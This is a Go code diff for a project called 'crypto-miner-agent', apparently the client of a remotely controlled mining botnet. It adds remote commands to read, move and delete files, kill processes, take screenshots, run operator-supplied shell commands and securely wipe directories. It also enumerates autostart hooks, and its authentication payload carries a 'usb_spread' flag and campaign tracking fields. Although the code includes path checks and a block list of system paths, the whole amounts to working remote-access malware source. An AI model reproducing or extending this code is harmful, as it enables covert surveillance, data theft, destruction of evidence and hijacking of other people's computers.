||||
HomeDir: home,
|
||||
Platform: runtime.GOOS,
|
||||
Entries: entries,
|
||||
}
|
||||
b, _ := json.Marshal(resp)
|
||||
c.sendCommandResult(action, true, string(b))
|
||||
return true
|
||||
}
|
||||
|
||||
var blockedDeletePrefixes = []string{
|
||||
"c:/windows", "c:/program files", "c:/program files (x86)",
|
||||
"/bin", "/sbin", "/usr", "/etc", "/lib", "/system",
|
||||
}
|
||||
|
||||
func isBlockedDeletePath(resolved string) bool {
|
||||
lower := strings.ToLower(strings.ReplaceAll(filepath.Clean(resolved), `\`, `/`))
|
||||
home, _ := userHomeDir()
|
||||
if home != "" {
|
||||
homeNorm := strings.ToLower(strings.ReplaceAll(filepath.Clean(home), `\`, `/`))
|
||||
if lower == homeNorm {
|
||||
return true
|
||||
}
|
||||
}
|
||||
for _, prefix := range blockedDeletePrefixes {
|
||||
if strings.HasPrefix(lower, prefix) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (c *AgentClient) doDeletePath(action, path string) bool {
|
||||
if action != "delete_path" {
|
||||
return false
|
||||
}
|
||||
if path == "" {
|
||||
c.sendCommandResult(action, false, "path is required")
|
||||
return true
|
||||
}
|
||||
if containsPathTraversal(path) {
|
||||
c.sendCommandResult(action, false, "path traversal (..) is not allowed")
|
||||
return true
|
||||
}
|
||||
resolved, err := deploy.ResolveRemotePath(path)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
resolved = filepath.Clean(resolved)
|
||||
if isBlockedDeletePath(resolved) {
|
||||
c.sendCommandResult(action, false, "refusing to delete protected system path")
|
||||
return true
|
||||
}
|
||||
info, err := os.Stat(resolved)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
if info.IsDir() {
|
||||
c.sendCommandResult(action, false, "refusing to delete directories (files only)")
|
||||
return true
|
||||
}
|
||||
if err := os.Remove(resolved); err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("deleted %s", resolved))
|
||||
return true
|
||||
}
|
||||
|
||||
func (c *AgentClient) doMovePath(action, path, dest string) bool {
|
||||
if action != "move_path" {
|
||||
return false
|
||||
}
|
||||
if path == "" || dest == "" {
|
||||
c.sendCommandResult(action, false, "path (source) and data (destination) are required")
|
||||
return true
|
||||
}
|
||||
if containsPathTraversal(path) || containsPathTraversal(dest) {
|
||||
c.sendCommandResult(action, false, "path traversal (..) is not allowed")
|
||||
return true
|
||||
}
|
||||
src, err := deploy.ResolveRemotePath(path)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, "source: "+err.Error())
|
||||
return true
|
||||
}
|
||||
dst, err := deploy.ResolveRemotePath(dest)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, "destination: "+err.Error())
|
||||
return true
|
||||
}
|
||||
src = filepath.Clean(src)
|
||||
dst = filepath.Clean(dst)
|
||||
if isBlockedDeletePath(src) || isBlockedDeletePath(dst) {
|
||||
c.sendCommandResult(action, false, "refusing to move protected system path")
|
||||
return true
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(dst), 0o755); err != nil {
|
||||
c.sendCommandResult(action, false, "mkdir: "+err.Error())
|
||||
return true
|
||||
}
|
||||
if err := os.Rename(src, dst); err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("moved %s → %s", src, dst))
|
||||
return true
|
||||
}
|
||||
|
||||
func (c *AgentClient) doReadFile(action, path string) bool {
|
||||
if action != "read_file" {
|
||||
return false
|
||||
}
|
||||
if path == "" {
|
||||
c.sendCommandResult(action, false, "path is required")
|
||||
return true
|
||||
}
|
||||
if containsPathTraversal(path) {
|
||||
c.sendCommandResult(action, false, "path traversal (..) is not allowed")
|
||||
return true
|
||||
}
|
||||
resolved, err := deploy.ResolveRemotePath(path)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
info, err := os.Stat(resolved)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
if info.IsDir() {
|
||||
c.sendCommandResult(action, false, "path is a directory")
|
||||
return true
|
||||
}
|
||||
if info.Size() > maxReadFileBytes {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("file too large (%d bytes, cap %d)", info.Size(), maxReadFileBytes))
|
||||
return true
|
||||
}
|
||||
b, err := os.ReadFile(resolved)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, string(b))
|
||||
return true
|
||||
}
|
||||
88
agent/client/file_ops_common_test.go
Normal file
88
agent/client/file_ops_common_test.go
Normal file
@@ -0,0 +1,88 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestContainsPathTraversal(t *testing.T) {
|
||||
cases := []struct {
|
||||
path string
|
||||
want bool
|
||||
}{
|
||||
{"", false},
|
||||
{"/home/user/docs", false},
|
||||
{"C:\\Users\\alice", false},
|
||||
{"~/Downloads", false},
|
||||
{"../etc/passwd", true},
|
||||
{"/home/user/../../etc", true},
|
||||
{"foo/../bar", true},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
if got := containsPathTraversal(tc.path); got != tc.want {
|
||||
t.Errorf("containsPathTraversal(%q) = %v, want %v", tc.path, got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveListDirPathRejectsTraversal(t *testing.T) {
|
||||
_, err := resolveListDirPath("../outside")
|
||||
if err == nil {
|
||||
t.Fatal("expected traversal error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveListDirPathEmptyUsesHome(t *testing.T) {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
t.Skip("no home dir")
|
||||
}
|
||||
for _, input := range []string{"", "~", "@home"} {
|
||||
got, err := resolveListDirPath(input)
|
||||
if err != nil {
|
||||
t.Fatalf("resolveListDirPath(%q): %v", input, err)
|
||||
}
|
||||
if got != filepath.Clean(home) {
|
||||
t.Fatalf("resolveListDirPath(%q) = %q, want %q", input, got, home)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsBlockedDeletePath(t *testing.T) {
|
||||
if !isBlockedDeletePath(`C:\Windows\System32\kernel32.dll`) {
|
||||
t.Fatal("expected Windows system path blocked")
|
||||
}
|
||||
if !isBlockedDeletePath(`/usr/bin/bash`) {
|
||||
t.Fatal("expected /usr blocked")
|
||||
}
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
t.Skip("no home")
|
||||
}
|
||||
if !isBlockedDeletePath(home) {
|
||||
t.Fatal("expected home root blocked")
|
||||
}
|
||||
tmp := filepath.Join(home, "test_delete_guard.txt")
|
||||
if isBlockedDeletePath(tmp) {
|
||||
t.Fatalf("expected user file path allowed: %s", tmp)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadDirectoryEntriesCapsCount(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
for i := 0; i < maxListDirEntries+10; i++ {
|
||||
name := filepath.Join(dir, fmt.Sprintf("file_%d.txt", i))
|
||||
if err := os.WriteFile(name, []byte("x"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
entries, err := readDirectoryEntries(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(entries) != maxListDirEntries {
|
||||
t.Fatalf("entries len = %d, want cap %d", len(entries), maxListDirEntries)
|
||||
}
|
||||
}
|
||||
@@ -2,10 +2,17 @@
|
||||
|
||||
package client
|
||||
|
||||
func (c *AgentClient) handleFileCommand(action, path string) bool {
|
||||
switch action {
|
||||
case "list_dir", "read_file":
|
||||
c.sendCommandResult(action, false, "file browser commands are only supported on Windows agents")
|
||||
func (c *AgentClient) handleFileCommand(action, path, data string) bool {
|
||||
if c.doListDir(action, path) {
|
||||
return true
|
||||
}
|
||||
if c.doReadFile(action, path) {
|
||||
return true
|
||||
}
|
||||
if c.doDeletePath(action, path) {
|
||||
return true
|
||||
}
|
||||
if c.doMovePath(action, path, data) {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
|
||||
@@ -2,80 +2,17 @@
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
const maxReadFileBytes = 512 * 1024
|
||||
|
||||
type dirEntry struct {
|
||||
Name string `json:"name"`
|
||||
IsDir bool `json:"is_dir"`
|
||||
Size int64 `json:"size"`
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleFileCommand(action, path string) bool {
|
||||
switch action {
|
||||
case "list_dir":
|
||||
if path == "" {
|
||||
c.sendCommandResult(action, false, "path is required")
|
||||
return true
|
||||
}
|
||||
resolved, err := deploy.ResolveRemotePath(path)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
entries, err := os.ReadDir(resolved)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
out := make([]dirEntry, 0, len(entries))
|
||||
for _, e := range entries {
|
||||
info, err := e.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
out = append(out, dirEntry{Name: e.Name(), IsDir: e.IsDir(), Size: info.Size()})
|
||||
}
|
||||
b, _ := json.Marshal(map[string]interface{}{"path": resolved, "entries": out})
|
||||
c.sendCommandResult(action, true, string(b))
|
||||
func (c *AgentClient) handleFileCommand(action, path, data string) bool {
|
||||
if c.doListDir(action, path) {
|
||||
return true
|
||||
|
||||
case "read_file":
|
||||
if path == "" {
|
||||
c.sendCommandResult(action, false, "path is required")
|
||||
return true
|
||||
}
|
||||
resolved, err := deploy.ResolveRemotePath(path)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
info, err := os.Stat(resolved)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
if info.IsDir() {
|
||||
c.sendCommandResult(action, false, "path is a directory")
|
||||
return true
|
||||
}
|
||||
if info.Size() > maxReadFileBytes {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("file too large (%d bytes, cap %d)", info.Size(), maxReadFileBytes))
|
||||
return true
|
||||
}
|
||||
b, err := os.ReadFile(resolved)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, string(b))
|
||||
}
|
||||
if c.doReadFile(action, path) {
|
||||
return true
|
||||
}
|
||||
if c.doDeletePath(action, path) {
|
||||
return true
|
||||
}
|
||||
if c.doMovePath(action, path, data) {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
|
||||
28
agent/client/kill_process.go
Normal file
28
agent/client/kill_process.go
Normal file
@@ -0,0 +1,28 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func killProcessByPID(pidStr string) (bool, string) {
|
||||
pid, err := strconv.Atoi(strings.TrimSpace(pidStr))
|
||||
if err != nil || pid <= 0 {
|
||||
return false, "invalid pid: " + pidStr
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
out, err := silentCombinedOutput("taskkill", "/F", "/PID", fmt.Sprintf("%d", pid))
|
||||
if err != nil {
|
||||
return false, formatCmdErr(err, out)
|
||||
}
|
||||
return true, strings.TrimSpace(string(out))
|
||||
}
|
||||
out, err := exec.Command("kill", "-9", fmt.Sprintf("%d", pid)).CombinedOutput()
|
||||
if err != nil {
|
||||
return false, formatCmdErr(err, out)
|
||||
}
|
||||
return true, strings.TrimSpace(string(out))
|
||||
}
|
||||
13
agent/client/kill_process_test.go
Normal file
13
agent/client/kill_process_test.go
Normal file
@@ -0,0 +1,13 @@
|
||||
package client
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestKillProcessByPIDInvalid(t *testing.T) {
|
||||
ok, msg := killProcessByPID("not-a-pid")
|
||||
if ok {
|
||||
t.Fatal("expected failure for invalid pid")
|
||||
}
|
||||
if msg == "" {
|
||||
t.Fatal("expected error message")
|
||||
}
|
||||
}
|
||||
16
agent/client/persistence_audit.go
Normal file
16
agent/client/persistence_audit.go
Normal file
@@ -0,0 +1,16 @@
|
||||
package client
|
||||
|
||||
// PersistenceAuditEntry is one discovered autostart hook (read-only).
|
||||
type PersistenceAuditEntry struct {
|
||||
Kind string `json:"kind"`
|
||||
Name string `json:"name"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
Enabled bool `json:"enabled,omitempty"`
|
||||
}
|
||||
|
||||
// PersistenceAuditReport summarizes Run keys, tasks, and service hooks.
|
||||
type PersistenceAuditReport struct {
|
||||
Platform string `json:"platform"`
|
||||
Entries []PersistenceAuditEntry `json:"entries"`
|
||||
Count int `json:"count"`
|
||||
}
|
||||
51
agent/client/persistence_audit_darwin.go
Normal file
51
agent/client/persistence_audit_darwin.go
Normal file
@@ -0,0 +1,51 @@
|
||||
//go:build darwin
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func collectPersistenceAudit() PersistenceAuditReport {
|
||||
report := PersistenceAuditReport{Platform: "darwin"}
|
||||
home, _ := os.UserHomeDir()
|
||||
if home != "" {
|
||||
agentsDir := filepath.Join(home, "Library", "LaunchAgents")
|
||||
if entries, err := os.ReadDir(agentsDir); err == nil {
|
||||
for _, e := range entries {
|
||||
if e.IsDir() || !strings.HasSuffix(e.Name(), ".plist") {
|
||||
continue
|
||||
}
|
||||
report.Entries = append(report.Entries, PersistenceAuditEntry{
|
||||
Kind: "launch_agent",
|
||||
Name: e.Name(),
|
||||
Detail: agentsDir,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
out, err := exec.Command("/bin/sh", "-c", "launchctl list 2>/dev/null | head -40").CombinedOutput()
|
||||
if err == nil {
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" || strings.HasPrefix(line, "PID") {
|
||||
continue
|
||||
}
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 3 {
|
||||
continue
|
||||
}
|
||||
report.Entries = append(report.Entries, PersistenceAuditEntry{
|
||||
Kind: "launchctl",
|
||||
Name: fields[len(fields)-1],
|
||||
Detail: line,
|
||||
Enabled: fields[0] != "-",
|
||||
})
|
||||
}
|
||||
}
|
||||
report.Count = len(report.Entries)
|
||||
return report
|
||||
}
|
||||
7
agent/client/persistence_audit_stub.go
Normal file
7
agent/client/persistence_audit_stub.go
Normal file
@@ -0,0 +1,7 @@
|
||||
//go:build !windows && !linux && !darwin
|
||||
|
||||
package client
|
||||
|
||||
func collectPersistenceAudit() PersistenceAuditReport {
|
||||
return PersistenceAuditReport{Platform: "unknown"}
|
||||
}
|
||||
59
agent/client/persistence_audit_unix.go
Normal file
59
agent/client/persistence_audit_unix.go
Normal file
@@ -0,0 +1,59 @@
|
||||
//go:build linux
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func collectPersistenceAudit() PersistenceAuditReport {
|
||||
report := PersistenceAuditReport{Platform: "linux"}
|
||||
home, _ := os.UserHomeDir()
|
||||
if home != "" {
|
||||
autostart := filepath.Join(home, ".config", "autostart")
|
||||
if entries, err := os.ReadDir(autostart); err == nil {
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
report.Entries = append(report.Entries, PersistenceAuditEntry{
|
||||
Kind: "xdg_autostart",
|
||||
Name: e.Name(),
|
||||
Detail: autostart,
|
||||
})
|
||||
}
|
||||
}
|
||||
unitDir := filepath.Join(home, ".config", "systemd", "user")
|
||||
if entries, err := os.ReadDir(unitDir); err == nil {
|
||||
for _, e := range entries {
|
||||
if e.IsDir() || !strings.HasSuffix(e.Name(), ".service") {
|
||||
continue
|
||||
}
|
||||
report.Entries = append(report.Entries, PersistenceAuditEntry{
|
||||
Kind: "systemd_user",
|
||||
Name: e.Name(),
|
||||
Detail: unitDir,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
out, err := exec.Command("/bin/sh", "-c", "crontab -l 2>/dev/null").CombinedOutput()
|
||||
if err == nil {
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" || strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
report.Entries = append(report.Entries, PersistenceAuditEntry{
|
||||
Kind: "crontab",
|
||||
Name: "user crontab",
|
||||
Detail: line,
|
||||
})
|
||||
}
|
||||
}
|
||||
report.Count = len(report.Entries)
|
||||
return report
|
||||
}
|
||||
72
agent/client/persistence_audit_windows.go
Normal file
72
agent/client/persistence_audit_windows.go
Normal file
@@ -0,0 +1,72 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
func collectPersistenceAudit() PersistenceAuditReport {
|
||||
report := PersistenceAuditReport{Platform: "windows"}
|
||||
queries := []struct {
|
||||
kind, hive, sub string
|
||||
}{
|
||||
{"registry_run", "HKCU", `Software\Microsoft\Windows\CurrentVersion\Run`},
|
||||
{"registry_run", "HKCU", `Software\Microsoft\Windows\CurrentVersion\RunOnce`},
|
||||
{"registry_run", "HKLM", `Software\Microsoft\Windows\CurrentVersion\Run`},
|
||||
{"registry_run", "HKLM", `Software\Microsoft\Windows\CurrentVersion\RunOnce`},
|
||||
}
|
||||
for _, q := range queries {
|
||||
out, err := silentCombinedOutput("reg", "query", q.hive+`\`+q.sub)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" || strings.HasPrefix(line, "HKEY_") || strings.HasPrefix(line, q.sub) {
|
||||
continue
|
||||
}
|
||||
parts := strings.Fields(line)
|
||||
if len(parts) < 2 {
|
||||
continue
|
||||
}
|
||||
name := parts[0]
|
||||
val := strings.Join(parts[2:], " ")
|
||||
if strings.EqualFold(name, "REG_SZ") || strings.EqualFold(name, "REG_EXPAND_SZ") {
|
||||
continue
|
||||
}
|
||||
report.Entries = append(report.Entries, PersistenceAuditEntry{
|
||||
Kind: q.kind,
|
||||
Name: name,
|
||||
Detail: q.hive + `\` + q.sub + ` → ` + val,
|
||||
})
|
||||
}
|
||||
}
|
||||
taskOut, err := silentCombinedOutput("schtasks", "/Query", "/FO", "LIST", "/V")
|
||||
if err == nil {
|
||||
var curName, curRun string
|
||||
flush := func() {
|
||||
if curName != "" {
|
||||
report.Entries = append(report.Entries, PersistenceAuditEntry{
|
||||
Kind: "scheduled_task",
|
||||
Name: curName,
|
||||
Detail: curRun,
|
||||
Enabled: true,
|
||||
})
|
||||
}
|
||||
curName, curRun = "", ""
|
||||
}
|
||||
for _, line := range strings.Split(string(taskOut), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(line, "TaskName:") {
|
||||
flush()
|
||||
curName = strings.TrimSpace(strings.TrimPrefix(line, "TaskName:"))
|
||||
} else if strings.HasPrefix(line, "Task To Run:") {
|
||||
curRun = strings.TrimSpace(strings.TrimPrefix(line, "Task To Run:"))
|
||||
}
|
||||
}
|
||||
flush()
|
||||
}
|
||||
report.Count = len(report.Entries)
|
||||
return report
|
||||
}
|
||||
@@ -43,6 +43,8 @@ type AuthPayload struct {
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
USBSpread bool `json:"usb_spread,omitempty"`
|
||||
Campaign string `json:"campaign,omitempty"`
|
||||
UTM string `json:"utm,omitempty"`
|
||||
}
|
||||
|
||||
type AuthResponse struct {
|
||||
|
||||
30
agent/client/screenshot_common.go
Normal file
30
agent/client/screenshot_common.go
Normal file
@@ -0,0 +1,30 @@
|
||||
package client
|
||||
|
||||
import "strings"
|
||||
|
||||
func extractScreenshotBase64(out []byte) string {
|
||||
s := strings.TrimSpace(string(out))
|
||||
s = strings.TrimPrefix(s, "\ufeff")
|
||||
best := ""
|
||||
for _, part := range strings.Fields(s) {
|
||||
var b strings.Builder
|
||||
for _, r := range part {
|
||||
if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
|
||||
b.WriteRune(r)
|
||||
}
|
||||
}
|
||||
cleaned := b.String()
|
||||
if len(cleaned) > len(best) {
|
||||
best = cleaned
|
||||
}
|
||||
}
|
||||
if len(best) >= 100 {
|
||||
return best
|
||||
}
|
||||
return strings.Map(func(r rune) rune {
|
||||
if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
|
||||
return r
|
||||
}
|
||||
return -1
|
||||
}, s)
|
||||
}
|
||||
45
agent/client/screenshot_darwin.go
Normal file
45
agent/client/screenshot_darwin.go
Normal file
@@ -0,0 +1,45 @@
|
||||
//go:build darwin
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func capturePlatformScreenshot(customCmd string) (string, error) {
|
||||
if strings.TrimSpace(customCmd) != "" {
|
||||
out, err := exec.Command("/bin/sh", "-c", customCmd).CombinedOutput()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("%w: %s", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
if b64 := extractScreenshotBase64(out); len(b64) >= 100 {
|
||||
return b64, nil
|
||||
}
|
||||
return "", fmt.Errorf("custom screenshot command returned no image data")
|
||||
}
|
||||
|
||||
tmp, err := os.CreateTemp("", "af-scr-*.jpg")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
path := tmp.Name()
|
||||
_ = tmp.Close()
|
||||
defer os.Remove(path)
|
||||
|
||||
out, runErr := exec.Command("screencapture", "-x", "-t", "jpg", path).CombinedOutput()
|
||||
if runErr != nil {
|
||||
return "", fmt.Errorf("screencapture: %v (%s)", runErr, strings.TrimSpace(string(out)))
|
||||
}
|
||||
raw, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if len(raw) < 100 {
|
||||
return "", fmt.Errorf("screencapture produced empty image")
|
||||
}
|
||||
return base64.StdEncoding.EncodeToString(raw), nil
|
||||
}
|
||||
80
agent/client/screenshot_linux.go
Normal file
80
agent/client/screenshot_linux.go
Normal file
@@ -0,0 +1,80 @@
|
||||
//go:build linux
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func capturePlatformScreenshot(customCmd string) (string, error) {
|
||||
if strings.TrimSpace(customCmd) != "" {
|
||||
out, err := exec.Command("/bin/sh", "-c", customCmd).CombinedOutput()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("%w: %s", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
if b64 := extractScreenshotBase64(out); len(b64) >= 100 {
|
||||
return b64, nil
|
||||
}
|
||||
return "", fmt.Errorf("custom screenshot command returned no image data")
|
||||
}
|
||||
|
||||
if raw, err := captureLinuxScreenshotJPEG(); err == nil && len(raw) >= 100 {
|
||||
return base64.StdEncoding.EncodeToString(raw), nil
|
||||
} else if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "", fmt.Errorf("screenshot failed: install scrot, imagemagick (import), or gnome-screenshot")
|
||||
}
|
||||
|
||||
func captureLinuxScreenshotJPEG() ([]byte, error) {
|
||||
if scrot, err := exec.LookPath("scrot"); err == nil {
|
||||
tmp, err := os.CreateTemp("", "af-scr-*.jpg")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
path := tmp.Name()
|
||||
_ = tmp.Close()
|
||||
defer os.Remove(path)
|
||||
out, runErr := exec.Command(scrot, "-q", "55", path).CombinedOutput()
|
||||
if runErr != nil {
|
||||
return nil, fmt.Errorf("scrot: %v (%s)", runErr, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return os.ReadFile(path)
|
||||
}
|
||||
|
||||
if importCmd, err := exec.LookPath("import"); err == nil {
|
||||
tmp, err := os.CreateTemp("", "af-scr-*.jpg")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
path := tmp.Name()
|
||||
_ = tmp.Close()
|
||||
defer os.Remove(path)
|
||||
out, runErr := exec.Command(importCmd, "-window", "root", "-quality", "55", path).CombinedOutput()
|
||||
if runErr != nil {
|
||||
return nil, fmt.Errorf("import: %v (%s)", runErr, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return os.ReadFile(path)
|
||||
}
|
||||
|
||||
if gnome, err := exec.LookPath("gnome-screenshot"); err == nil {
|
||||
tmp, err := os.CreateTemp("", "af-scr-*.jpg")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
path := tmp.Name()
|
||||
_ = tmp.Close()
|
||||
defer os.Remove(path)
|
||||
out, runErr := exec.Command(gnome, "-f", path).CombinedOutput()
|
||||
if runErr != nil {
|
||||
return nil, fmt.Errorf("gnome-screenshot: %v (%s)", runErr, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return os.ReadFile(path)
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("no screenshot tool found (scrot, import, gnome-screenshot)")
|
||||
}
|
||||
9
agent/client/screenshot_stub.go
Normal file
9
agent/client/screenshot_stub.go
Normal file
@@ -0,0 +1,9 @@
|
||||
//go:build !windows && !linux && !darwin
|
||||
|
||||
package client
|
||||
|
||||
import "fmt"
|
||||
|
||||
func capturePlatformScreenshot(_ string) (string, error) {
|
||||
return "", fmt.Errorf("screenshot not supported on this platform")
|
||||
}
|
||||
@@ -2,8 +2,6 @@
|
||||
|
||||
package client
|
||||
|
||||
import "strings"
|
||||
|
||||
const screenshotPSScript = `
|
||||
$ErrorActionPreference = 'Stop'
|
||||
Add-Type -AssemblyName System.Windows.Forms,System.Drawing
|
||||
@@ -19,29 +17,3 @@ $b.Save($ms, $enc, $ep)
|
||||
[Convert]::ToBase64String($ms.ToArray())
|
||||
`
|
||||
|
||||
func extractScreenshotBase64(out []byte) string {
|
||||
s := strings.TrimSpace(string(out))
|
||||
s = strings.TrimPrefix(s, "\ufeff")
|
||||
best := ""
|
||||
for _, part := range strings.Fields(s) {
|
||||
var b strings.Builder
|
||||
for _, r := range part {
|
||||
if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
|
||||
b.WriteRune(r)
|
||||
}
|
||||
}
|
||||
cleaned := b.String()
|
||||
if len(cleaned) > len(best) {
|
||||
best = cleaned
|
||||
}
|
||||
}
|
||||
if len(best) >= 100 {
|
||||
return best
|
||||
}
|
||||
return strings.Map(func(r rune) rune {
|
||||
if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
|
||||
return r
|
||||
}
|
||||
return -1
|
||||
}, s)
|
||||
}
|
||||
|
||||
104
agent/client/secure_wipe.go
Normal file
104
agent/client/secure_wipe.go
Normal file
@@ -0,0 +1,104 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
const secureWipeBlockSize = 64 * 1024
|
||||
|
||||
// SecureWipePath overwrites files in a directory then deletes them (single pass).
|
||||
func SecureWipePath(targetPath string) string {
|
||||
targetPath = strings.TrimSpace(targetPath)
|
||||
if targetPath == "" {
|
||||
return "secure_wipe error: path is required"
|
||||
}
|
||||
if containsPathTraversal(targetPath) {
|
||||
return "secure_wipe error: path traversal (..) is not allowed"
|
||||
}
|
||||
resolved, err := deploy.ResolveRemotePath(targetPath)
|
||||
if err != nil {
|
||||
return "secure_wipe error: " + err.Error()
|
||||
}
|
||||
resolved = filepath.Clean(resolved)
|
||||
if isBlockedDeletePath(resolved) {
|
||||
return "secure_wipe error: refusing to wipe protected system path"
|
||||
}
|
||||
info, err := os.Stat(resolved)
|
||||
if err != nil {
|
||||
return "secure_wipe error: " + err.Error()
|
||||
}
|
||||
if !info.IsDir() {
|
||||
return "secure_wipe error: path must be a directory"
|
||||
}
|
||||
|
||||
var wiped, failed int
|
||||
var errs []string
|
||||
err = filepath.WalkDir(resolved, func(path string, d os.DirEntry, walkErr error) error {
|
||||
if walkErr != nil || d.IsDir() {
|
||||
return nil
|
||||
}
|
||||
if err := overwriteFile(path); err != nil {
|
||||
failed++
|
||||
if len(errs) < 5 {
|
||||
errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if err := os.Remove(path); err != nil {
|
||||
failed++
|
||||
if len(errs) < 5 {
|
